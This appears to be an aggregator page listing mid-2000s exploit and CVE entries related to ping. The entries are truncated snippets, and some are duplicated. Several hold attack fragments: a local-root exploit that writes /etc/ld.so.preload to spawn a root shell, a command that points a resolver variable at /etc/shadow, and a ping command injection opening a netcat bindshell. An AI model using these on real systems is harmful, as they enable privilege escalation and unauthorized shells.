ptrace suids local root.txt

bash-2.05a$ uname -a QNX muh 6.3.2 2006/03/16-14:19:50EST x86pc x86 bash-2.05a$ gdb -q /usr/bin/ping we use some ret-to-libc-type-shellcode gdb p system $1 = text variable, no debug info 0xb031897c system gdb p exit $2 = text variable, no debug info 0xb0321ff8 exit gdb q bash-2.05a$ export...

Colloquy 2.1.3545 - INVITE Format String Denial of Service

Colloquy 2.1.3545 - INVITE Format String Denial of Service !/usr/bin/ruby c Copyright 2006 Lance M. Havok Makes use of the Colloquy INVITE format string vulnerability. require 'socket' targetchannel = ARGV0 || "whatever" targetserver = ARGV1 || "irc.server.org" targetport = ARGV2 || 6667 randnick...

Colloquy 2.1.3545 - 'INVITE' Format String Denial of Service

!/usr/bin/ruby c Copyright 2006 Lance M. Havok Makes use of the Colloquy INVITE format string vulnerability. require 'socket' targetchannel = ARGV0 || "whatever" targetserver = ARGV1 || "irc.server.org" targetport = ARGV2 || 6667 randnick = "spongebo" channeljoined = false readytogo = false...

CVE-2006-6266

Teredo clients, when following item 6 of RFC4380 section 5.2.3, start direct IPv6 connectivity tests aka ping tests in response to packets from non-Teredo source addresses, which might allow remote attackers to induce Teredo clients to send packets to third parties...

CVE-2006-6266

CVE-2006-6266 concerns Teredo clients: when following RFC4380-5.2.3 item 6, Teredo clients initiate direct IPv6 connectivity (ping) tests in response to non-Teredo source addresses, potentially causing affected clients to send packets to third parties. The provided documents describe the behavior...

Resolv+ (RESOLV_HOST_CONF) Linux Library Local Exploit

No description provided by source. setenv RESOLVHOSTCONF /etc/shadow; ping adfas...

AIX 3.x/4.x / Windows 95/98/2000/NT 4.0 / SunOS 5 - 'gethostbyname()' Remote Buffer Overflow

source: https://www.securityfocus.com/bid/6853/info A vulnerability has been discovered in multiple vendor implementations of the 'gethostbyname' library function, which is used to resolve network addresses. The 'gethostbyname' function fails to implement sufficient bounds checking on data copied...

MSSQL Ping Utility

This module simply queries the MSSQL Browser service for server information. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'MSSQL Ping Utility', 'Description' = 'This module simply queries the...

liblesstif 2-0.93.94-4mdk - 'DEBUG_FILE' Local Privilege Escalation

!/bin/sh echo echo "mtink libXm local root exploit" echo " [email protected] " echo umask 000 export DEBUGFILE="/etc/ld.so.preload" cat /tmp/lib.c void initvoid if getuid!=0 && geteuid==0 setuid0; unlink"/etc/ld.so.preload"; execl"/bin/bash", "bash", 0; EOF /usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c...

MS Windows TCP/IP Protocol Driver Remote Buffer Overflow Exploit

Exploit for unknown platform in category dos / poc ================================================================ MS Windows TCP/IP Protocol Driver Remote Buffer Overflow Exploit ================================================================ / Windows TCP/IP source routing poc C version... by...

Russcom Ping Remote code execution

Russcom Ping Remote code execution Discovered by: Nomenumbra Date: 21/5/2006 impact:high Remote code execution Russcom's Ping script allows attackers to execute arbitrary code trough command piping after the ip e.g 127.0.0.1 | nc -l -p 666 -e /bin/sh would grant a bindshell Nomenumbra...

DOS во встроенном NAT сервере Windows 2000

Обнаружил dos во встроенном NAT сервере Windows 2000 Конфигурация проверенных серверов: Windows 2000 English Standard/Advanced Service Pack 4 + Update Rollup 1 for Service Pack 4 с установленным NAT сервером. При прохождении ip пакетов через сервер, с включенной опцией "Loose Source and Record...

CVE-2006-0475

PHP-Ping 1.3 does not properly validate ping counts, which allows remote attackers to cause a denial of service ping flood via a negative count parameter...

Code injection

PHP-Ping 1.3 does not properly validate ping counts, which allows remote attackers to cause a denial of service ping flood via a negative count parameter...

CVE-2006-0475

CVE-2006-0475 describes a vulnerability in PHP-Ping 1.3 where ping counts are not properly validated. An attacker can trigger a denial-of-service (ping flood) by supplying a negative count parameter. The NVD entry lists a CVSS v2 base score of 5.0 (Medium) with network access, no authentication r...

CVE-2006-0475

PHP-Ping 1.3 does not properly validate ping counts, which allows remote attackers to cause a denial of service ping flood via a negative count parameter...

kapda-23.txt

KAPDA::23 - The WorldsEnd.NET - Free Ping Script, written in PHP 2 vulns KAPDA New advisory Vulnerable products : The WorldsEnd.NET - Free Ping Script Vendor: http://www.theworldsend.net/ Risk: Low Vulnerabilities: Restriction Bypass Date : -------------------- Found : Aug 2005 Vendor Contacted :...

The WorldsEnd.NET - Free Ping Script, written in PHP (2 vulns)

KAPDA::23 - The WorldsEnd.NET - Free Ping Script, written in PHP 2 vulns KAPDA New advisory Vulnerable products : The WorldsEnd.NET - Free Ping Script Vendor: http://www.theworldsend.net/ Risk: Low Vulnerabilities: Restriction Bypass Date : -------------------- Found : Aug 2005 Vendor Contacted :...

CVE-2002-2156

Buffer overflow in Trillian 0.73 allows remote IRC servers to execute arbitrary code via a long PING response...

ping.asp

The SPDX-FileCopyrightText: 2002 Michel Arboi Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription scriptoid"1.3.6.1.4.1.25623.1.0.10968";...